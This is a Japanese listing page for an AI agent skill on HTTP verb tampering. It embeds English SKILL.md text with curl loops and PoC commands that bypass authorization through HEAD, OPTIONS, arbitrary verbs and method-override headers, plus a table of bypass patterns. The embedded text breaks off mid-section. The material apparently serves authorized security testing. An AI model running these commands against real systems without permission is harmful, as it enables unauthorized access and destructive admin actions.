本文へスキップ
Skillpedia
セキュリティ6.5k · #14083

verb-tampering

できること

このスキルは、リクエストのHTTPメソッドを変えることで、アクセスルールが回避されうる仕組みを説明します。保護されたページが特殊なメソッドに応答しないかを確認するセキュリティテスター向けです。

使う場面

  • ✓保護されたページがGETやPOSTをブロックしており、ほかのメソッドが通るか確認したいとき。
  • ✓サーバーが、ファイアウォールで確認されていないメソッド上書きヘッダーに対応しているとき。
  • ✓セキュリティレビューで、すべてのHTTPメソッドが同じアクセスルールに従っているかを確かめるとき。

スキルのリンク

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/verb-tampering/SKILL.md

コピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。

使い方

いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。

貼り付け用メッセージ

このスキルを使って手伝ってください:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/verb-tampering/SKILL.md このリンクのSKILL.mdファイルを読んで、私の作業でその指示に従ってください。
こういうスキルを、AIが自分で見つけてくれたら?無料のSkillpedia MCPをインストール。1行で、作業の前に15,000+のスキルから探してくれます。1分でインストール →

AIへの頼み方の例

“私の管理ページが、別のHTTPメソッドを送ることでアクセスできてしまわないか確認してください。”

毎週5つの新しいスキル。1分で読めます。

仕組み

エージェントは、同じリクエストをHEAD、OPTIONS、PUT、または存在しない動詞などの別メソッドで送り、結果を比べます。アクセス確認が飛ばされていないかを確かめます。

技術的な内容(元のSKILL.md)

作者による元のテキスト(英語)をGitHubからそのまま表示しています。

HTTP Verb / Method Tampering

Authorization is enforced for GET/POST but not for HEAD, OPTIONS, PATCH, DELETE, PUT, TRACE, TRACK, or arbitrary verbs like FOO. Or the app respects X-HTTP-Method-Override and the WAF/auth filter does not. Or the framework routes any verb to the same handler while only the POST ACL rule exists. Severity is High to Critical when it grants admin-only actions or reads protected data.

1. Why it works

  • Apache/nginx Limit/LimitExcept rules in .htaccess often list only GET POST. Any other verb is unrestricted.
  • Tomcat / JSP <security-constraint><http-method>GET</http-method> only constrains the listed verbs (the famous "Tomcat verb tampering" class — CVE-2017-12615, CVE-2009-3548 family).
  • API gateways enforce method-specific policies; the upstream service treats verbs identically.
  • Spring @RequestMapping without method= accepts every verb. @GetMapping/@PostMapping constrain, but generic mappings do not.
  • Express.js app.all(path, handler) answers every method.
  • Framework method-override middleware (methodOverride in Express, Rails _method=DELETE, X-HTTP-Method-Override in many) lets a POST become a DELETE after auth runs.
  • Many WAFs ship rule sets keyed on GET/POST only.

2. Detection — does the endpoint answer non-standard verbs?

# Verb sweep
for m in GET HEAD POST PUT PATCH DELETE OPTIONS TRACE TRACK CONNECT PROPFIND COPY MOVE LOCK UNLOCK MKCOL FOO; do
  code=$(curl -sk -o /dev/null -w '%{http_code} %{size_download}' -X "$m" "http://<TARGET>/admin/users")
  printf '%-10s -> %s\n' "$m" "$code"
done

# Compare auth-required endpoint without creds, per verb
for m in GET HEAD POST PUT PATCH DELETE OPTIONS; do
  curl -sk -o /dev/null -w "%-7s %{http_code}\n" -X "$m" "http://<TARGET>/admin/secret"
done
# If GET=401 but HEAD/OPTIONS=200 → verb-based auth bypass candidate.

HEAD is the highest-yield: per RFC 9110 it MUST be treated like GET minus the body, but servers diverge — middleware sometimes short-circuits auth on HEAD. Response headers and status leak data even with no body.

# HEAD bypass — read protected response headers (Set-Cookie, Location, ETag, Content-Length)
curl -sk -I -X HEAD "http://<TARGET>/admin/export.csv"

3. Method-override headers

The app overrides the real method with the value of a header after the WAF/auth has classified the request as POST (allowed) or GET (allowed).

# Common override headers
for h in 'X-HTTP-Method-Override' 'X-HTTP-Method' 'X-Method-Override' 'X-Original-Method'; do
  curl -sk -X POST -H "$h: DELETE" "http://<TARGET>/admin/users/1337" \
    -o /dev/null -w "%-26s %{http_code}\n" -H "Cookie: session=$LOWPRIV"
done

# Rails / Laravel — _method in form body
curl -sk -X POST "http://<TARGET>/posts/42" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data '_method=DELETE' -b "session=$LOWPRIV"

# Verb tunnelled through GET (some legacy frameworks)
curl -sk "http://<TARGET>/admin/delete?_method=DELETE&id=42" -b "session=$LOWPRIV"

4. Bypass patterns

Pattern Mechanic
.htaccess Limit <Limit GET POST>require valid-user</Limit> blocks GET/POST only — try HEAD, PUT, custom verb.
Tomcat <http-method> constraint The constraint applies only to listed methods. Use any other.
Spring generic @RequestMapping("/path") Every verb routes here. Author meant only POST.
Express app.all / no method-guard Same.
Method-override after auth POST /low-priv allowed; X-HTTP-Method-Override: DELETE upgrades.
_method=PATCH body field Rails/Laravel/Symfony idiom; the auth layer saw a POST.
WAF gating on GET/POST only Send the payload as PATCH or FOO.
TRACE/TRACK enabled XST — reflects request headers, used to read HttpOnly cookies in legacy XSS chains.
WebDAV verbs (PROPFIND, COPY, MOVE, PUT, MKCOL) on IIS/Apache Direct file upload / RCE on misconfigured WebDAV.
OPTIONS * Discloses enabled methods on the whole server: `curl -X OPTIONS -i http://<TARGET>/*

5. Exploit PoCs

5.1 Admin action via HEAD bypass

# Trigger admin action where HEAD reaches handler logic without auth
curl -sk -I -X HEAD "http://<TARGET>/admin/cache/flush" -o /dev/null -w '%{http_code}\n'
# Confirm side-effect:
curl -sk "http://<TARGET>/api/cache/size"

5.2 Method-override DELETE

# Low-priv us
よくある質問

X-HTTP-Method-Overrideとは何ですか?

一部のフレームワークが、POSTを別のメソッドとして扱うために使うヘッダーです。元のメソッドだけを確認するルールを回避できてしまうことがあります。

Tomcatの設定がなぜ関係するのですか?

一部のTomcatのセキュリティルールは、列挙された動詞だけを制限するため、ほかの動詞は制限されないままになることがあるとスキルは説明しています。

許可されたテストだけに使うべきですか?

はい。これはセキュリティテスト用のスキルであり、テストする許可があるシステムでのみ使うべきです。

詳細

作者による元の説明

HTTP verb/method tampering — auth bypass via HEAD/OPTIONS/arbitrary methods, X-HTTP-Method-Override, TRACE/PUT/DELETE exposure, framework routing flaws.

repo: BitterSecurity/Decepticon

人気

GitHubのスター
6.5k
ランキング
#14083
ライセンス
Apache-2.0
更新日
2026/11/1

このスキルは役に立ちますか?

0

ログイン して投票しましょう。

コメント

  • …

このリポジトリの他のスキル

似ているスキル